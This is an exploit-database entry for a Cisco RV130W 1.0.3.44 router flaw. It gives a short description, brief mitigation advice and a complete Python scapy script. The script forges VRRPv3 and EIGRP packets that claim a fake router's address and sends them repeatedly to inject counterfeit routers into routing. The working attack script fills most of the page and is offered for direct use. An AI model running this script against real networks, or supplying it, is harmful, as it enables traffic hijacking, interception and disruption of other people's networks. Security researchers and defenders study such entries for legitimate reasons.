Cisco small business RV130W 1.0.3.44 - Inject Counterfeit Routers

vendor:

RV130W

by:

Michael Alamoot

8,8

CVSS

HIGH

Injection of Counterfeit Routers

CWE

Product Name: RV130W

Affected Version From: RV130W 1.0.3.44

Affected Version To: RV130W 1.0.3.44

Patch Exists: YES

Related CWE: N/A

CPE: h:cisco:rv130w

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux

2021

Cisco small business RV130W 1.0.3.44 – Inject Counterfeit Routers

This exploit allows an attacker to inject counterfeit routers into a Cisco small business RV130W 1.0.3.44 router. The exploit uses scapy to craft a VRRPv3 packet containing the IP address of the counterfeit router, and an EIGRP packet containing the IP address of the counterfeit router. The packets are then sent to the router using the scapy sendp function. This allows the attacker to inject a counterfeit router into the router's routing table.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the router is running the latest version of the firmware. Additionally, the router should be configured to only accept packets from trusted sources.

Source

Exploit-DB raw data:

# Exploit Title: Cisco small business RV130W 1.0.3.44 - Inject Counterfeit Routers
# Date: 24/09/2021
# Exploit Author: Michael Alamoot
# Vendor Homepage: https://www.cisco.com/
# Version: RV130W 1.0.3.44
# Tested on: Kali linux

#! /usr/bin/env python3 
from scapy.contrib.eigrp import EIGRPAuthData
from scapy.contrib.eigrp import EIGRPIntRoute
from scapy.contrib.eigrp import EIGRPGeneric
from scapy.contrib.eigrp import EIGRPSeq
from scapy.contrib.eigrp import EIGRP 
from scapy.layers.vrrp import VRRPv3
from scapy.layers.vrrp import VRRP
from scapy.layers.l2 import Ether
from scapy.layers.inet import IP 
from scapy.sendrecv import sendp
from scapy.volatile import RandMAC
from scapy.all import conf
import socket,networkx,os
import argparse,sys,asyncio

class argX:    
    def __init__(self):
        self.parser = argparse.ArgumentParser(description="...")
        self.parser.add_argument(
            "-i","--ip",
            help="ip router fake injection",
            dest="ip",
        )
        self.parser.add_argument(
            "-r","--ip-router",
            help="ip router root",
            dest="router",
            default=conf.route.route('0.0.0.0')[2]
        )
    
    def argvX(self):
        """ [0] ip-router [1] ip-fake """
        args = self.parser.parse_args()
        ip = args.ip
        route = args.router
        return [ip,route]
    
    
class exploit(object):
    
    def __new__(cls,*args,**kwargs):
        return super(exploit,cls).__new__(cls) 
    
    def __init__(self,IProuter,InjectFackeRouter):
        self.IProuter = IProuter
        self.InjectFackeRouter = InjectFackeRouter
        self.MAC = RandMAC()
        
    def pyload(self):
        pyload = Ether()/IP(src=self.IProuter,dst="224.0.0.18")\
            /VRRPv3(version=3,type=1,vrid=1,priority=100,res=0,adv=100,addrlist=self.InjectFackeRouter)\
            /IP(src=self.IProuter,dst="224.0.0.10") \
            /EIGRP(opcode="Update",asn=100,seq=0,ack=0 
            ,tlvlist=[EIGRPIntRoute(dst=self.InjectFackeRouter,nexthop=self.IProuter)])
        return pyload
        
    def start(self,count=[0,100]):
        for i in range(count[0],count[1]):
            sendp(self.pyload(),verbose=0,return_packets=False,inter=0,loop=0)
            print(f"\033[41m PACKET \033[0m Injection fake routers {self.IProuter} {self.InjectFackeRouter} \033[31m{i}\033[0m")

if __name__ == "__main__":
    a = argX().argvX()
    if a[0]:
        net1 = exploit(IProuter=a[1],InjectFackeRouter=a[0])
        net1.start()
    else:
        print("[-h] [--help]")